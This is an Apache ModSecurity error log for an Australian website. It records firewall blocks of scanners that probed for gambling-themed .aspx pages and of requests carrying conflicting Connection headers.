[Thu Feb 05 07:23:32.084562 2026] [:error] [pid 12187:tid 12205] [client 81.166.116.181:52428] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYPU9InHiwpamEOSyaMHtgAAAAk"]
[Thu Feb 05 07:23:34.705152 2026] [:error] [pid 10901:tid 10912] [client 81.166.116.181:54168] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYPU9muRF4wGmEFQVY0p0wAAAQY"]
[Thu Feb 05 07:23:37.446884 2026] [:error] [pid 10950:tid 11002] [client 81.166.116.181:54180] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aYPU-fyO5N8A8xQHgCrkfAAAAZU"]
[Thu Feb 05 07:23:40.058764 2026] [:error] [pid 12188:tid 12245] [client 81.166.116.181:54182] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYPU_DKWpl9mNO_-qzMQMgAAAFU"]
[Thu Feb 05 07:23:42.823113 2026] [:error] [pid 12189:tid 12266] [client 81.166.116.181:54196] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYPU_r10V_VY_a0vRT6W9wAAAI8"]
[Thu Feb 05 07:23:45.456682 2026] [:error] [pid 10901:tid 10911] [client 81.166.116.181:46056] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYPVAWuRF4wGmEFQVY0p2wAAAQU"]
[Thu Feb 05 07:23:48.204461 2026] [:error] [pid 12189:tid 12264] [client 81.166.116.181:46072] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYPVBL10V_VY_a0vRT6W_AAAAI0"]
[Thu Feb 05 07:23:50.950564 2026] [:error] [pid 10950:tid 10988] [client 81.166.116.181:46076] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYPVBvyO5N8A8xQHgCrkjQAAAYc"]
[Thu Feb 05 07:23:53.575976 2026] [:error] [pid 12189:tid 12272] [client 81.166.116.181:51930] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYPVCb10V_VY_a0vRT6XDAAAAJU"]
[Thu Feb 05 07:23:56.211364 2026] [:error] [pid 10950:tid 10994] [client 81.166.116.181:51940] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYPVDPyO5N8A8xQHgCrklgAAAY0"]
[Thu Feb 05 07:23:58.956918 2026] [:error] [pid 12187:tid 12218] [client 81.166.116.181:51954] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYPVDonHiwpamEOSyaMHvgAAABY"]
[Thu Feb 05 07:24:01.713217 2026] [:error] [pid 10949:tid 10958] [client 81.166.116.181:51968] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYPVEdyI0wNtlpWZ1djr8AAAAUQ"]
[Thu Feb 05 07:24:04.445424 2026] [:error] [pid 10949:tid 10968] [client 81.166.116.181:33570] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYPVFNyI0wNtlpWZ1djr8wAAAU4"]
[Thu Feb 05 07:24:06.963343 2026] [:error] [pid 10949:tid 10973] [client 81.166.116.181:33586] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYPVFtyI0wNtlpWZ1djr_AAAAVM"]
[Thu Feb 05 07:24:09.591657 2026] [:error] [pid 12188:tid 12230] [client 81.166.116.181:33590] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYPVGTKWpl9mNO_-qzMQVAAAAEY"]
[Thu Feb 05 07:24:12.238763 2026] [:error] [pid 10901:tid 10927] [client 81.166.116.181:33602] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYPVHGuRF4wGmEFQVY0p6gAAARU"]
[Thu Feb 05 07:24:14.878056 2026] [:error] [pid 10950:tid 10981] [client 81.166.116.181:53674] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYPVHvyO5N8A8xQHgCrkrAAAAYA"]
[Thu Feb 05 07:24:37.289009 2026] [:error] [pid 12287:tid 12305] [client 81.166.116.181:53686] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aYPVNTOXzeBKhB81n7r5wgAAAM8"]
[Thu Feb 05 07:24:40.061159 2026] [:error] [pid 12188:tid 12246] [client 81.166.116.181:58984] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aYPVODKWpl9mNO_-qzMQhgAAAFY"]
[Thu Feb 05 07:24:42.804929 2026] [:error] [pid 10949:tid 10970] [client 81.166.116.181:58986] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aYPVOtyI0wNtlpWZ1djsFQAAAVA"]
[Thu Feb 05 07:24:45.547586 2026] [:error] [pid 12189:tid 12251] [client 81.166.116.181:37812] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYPVPb10V_VY_a0vRT6XQQAAAIA"]
[Thu Feb 05 07:24:48.151676 2026] [:error] [pid 12287:tid 12297] [client 81.166.116.181:37820] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aYPVQDOXzeBKhB81n7r5xwAAAMc"]
[Thu Feb 05 07:24:50.897655 2026] [:error] [pid 10949:tid 10977] [client 81.166.116.181:37826] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYPVQtyI0wNtlpWZ1djsHgAAAVc"]
[Thu Feb 05 07:24:53.637794 2026] [:error] [pid 12187:tid 12216] [client 81.166.116.181:41014] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYPVRYnHiwpamEOSyaMH7AAAABQ"]
[Thu Feb 05 07:24:56.402847 2026] [:error] [pid 10950:tid 10984] [client 81.166.116.181:41028] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYPVSPyO5N8A8xQHgCrk4QAAAYM"]
[Thu Feb 05 07:24:59.018233 2026] [:error] [pid 12189:tid 12261] [client 81.166.116.181:41032] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYPVS710V_VY_a0vRT6XUAAAAIo"]
[Thu Feb 05 07:25:01.801825 2026] [:error] [pid 12287:tid 12315] [client 81.166.116.181:41044] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYPVTTOXzeBKhB81n7r5zwAAANg"]
[Thu Feb 05 07:25:04.423432 2026] [:error] [pid 10901:tid 10908] [client 81.166.116.181:34462] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYPVUGuRF4wGmEFQVY0qEgAAAQI"]
[Thu Feb 05 07:25:07.041702 2026] [:error] [pid 10901:tid 10928] [client 81.166.116.181:34476] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aYPVU2uRF4wGmEFQVY0qFgAAARY"]
[Thu Feb 05 07:25:09.819496 2026] [:error] [pid 10950:tid 10986] [client 81.166.116.181:34480] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aYPVVfyO5N8A8xQHgCrk8QAAAYU"]
[Thu Feb 05 07:25:12.445817 2026] [:error] [pid 10950:tid 11005] [client 81.166.116.181:34492] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYPVWPyO5N8A8xQHgCrk9QAAAZg"]
[Thu Feb 05 07:25:15.072792 2026] [:error] [pid 12188:tid 12234] [client 81.166.116.181:56494] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYPVWzKWpl9mNO_-qzMQwAAAAEo"]
[Thu Feb 05 07:25:17.842533 2026] [:error] [pid 12287:tid 12294] [client 81.166.116.181:56496] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aYPVXTOXzeBKhB81n7r53wAAAMQ"]
[Thu Feb 05 07:25:20.596168 2026] [:error] [pid 12187:tid 12211] [client 81.166.116.181:56508] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aYPVYInHiwpamEOSyaMH_AAAAA8"]
[Thu Feb 05 07:25:23.172119 2026] [:error] [pid 12287:tid 12308] [client 81.166.116.181:48796] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYPVYzOXzeBKhB81n7r54wAAANE"]
[Thu Feb 05 07:25:25.755644 2026] [:error] [pid 10950:tid 11003] [client 81.166.116.181:48808] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYPVZfyO5N8A8xQHgCrlBwAAAZY"]
[Thu Feb 05 07:25:28.505288 2026] [:error] [pid 12189:tid 12267] [client 81.166.116.181:48816] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aYPVaL10V_VY_a0vRT6XXwAAAJA"]
[Thu Feb 05 07:25:31.243305 2026] [:error] [pid 12287:tid 12305] [client 81.166.116.181:48822] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aYPVazOXzeBKhB81n7r56wAAAM8"]
[Thu Feb 05 07:31:48.695791 2026] [:error] [pid 10901:tid 10915] [client 221.229.106.25:48278] [client 221.229.106.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYPW5GuRF4wGmEFQVY0rwwAAAQk"]
[Thu Feb 05 10:30:53.681278 2026] [:error] [pid 31774:tid 31792] [client 45.92.1.79:62822] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYQA3ajDlLg1NOhSOXWAPwAAAI4"]
[Thu Feb 05 10:30:55.000956 2026] [:error] [pid 31739:tid 31748] [client 45.92.1.79:63678] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYQA3gGrHl_5BvMstJIxEAAAAAc"]
[Thu Feb 05 10:30:56.384078 2026] [:error] [pid 33396:tid 33407] [client 45.92.1.79:64586] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYQA4PTgp_Ev6LiSSgApugAAAMQ"]
[Thu Feb 05 10:30:57.793406 2026] [:error] [pid 33122:tid 33133] [client 45.92.1.79:65375] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYQA4fW0IebAnFB9KDCUBQAAAEk"]
[Thu Feb 05 10:30:58.999702 2026] [:error] [pid 31774:tid 31789] [client 45.92.1.79:49982] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYQA4qjDlLg1NOhSOXWAwQAAAIs"]
[Thu Feb 05 12:16:13.189335 2026] [:error] [pid 31833:tid 31855] [client 170.106.113.159:46834] [client 170.106.113.159] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYQZjRzypZt5yekRAkHI1QAAAZQ"]
[Thu Feb 05 18:13:23.700820 2026] [:error] [pid 31739:tid 31759] [client 43.135.145.73:48550] [client 43.135.145.73] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYRtQwGrHl_5BvMstJK80QAAABI"]
[Fri Feb 06 03:13:05.624458 2026] [:error] [pid 64543:tid 64562] [client 192.144.148.122:34174] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYTrwasW4UOzVv5iUbdWogAAANE"]
[Fri Feb 06 03:19:30.882990 2026] [:error] [pid 36361:tid 36424] [client 65.108.78.33:14760] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYTtQi5x856PP9e7gRCE_wAAAIY"]
[Fri Feb 06 03:19:33.522036 2026] [:error] [pid 36361:tid 36423] [client 65.108.78.33:55492] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYTtRS5x856PP9e7gRCFAgAAAIU"]
[Fri Feb 06 03:19:36.457933 2026] [:error] [pid 36360:tid 36407] [client 65.108.78.33:55498] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aYTtSC1bWkx5cIvpsOkIzwAAAFA"]
[Fri Feb 06 03:19:50.057144 2026] [:error] [pid 36454:tid 36463] [client 65.108.78.33:10904] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aYTtVjLa_KAFnAYn9UiN3AAAAMY"]
[Fri Feb 06 03:19:52.794958 2026] [:error] [pid 36359:tid 36367] [client 65.108.78.33:45788] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYTtWOpL9EnKEcV8s4gGvQAAAAM"]
[Fri Feb 06 03:19:55.330729 2026] [:error] [pid 36454:tid 36472] [client 65.108.78.33:45804] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYTtWzLa_KAFnAYn9UiN4wAAAM8"]
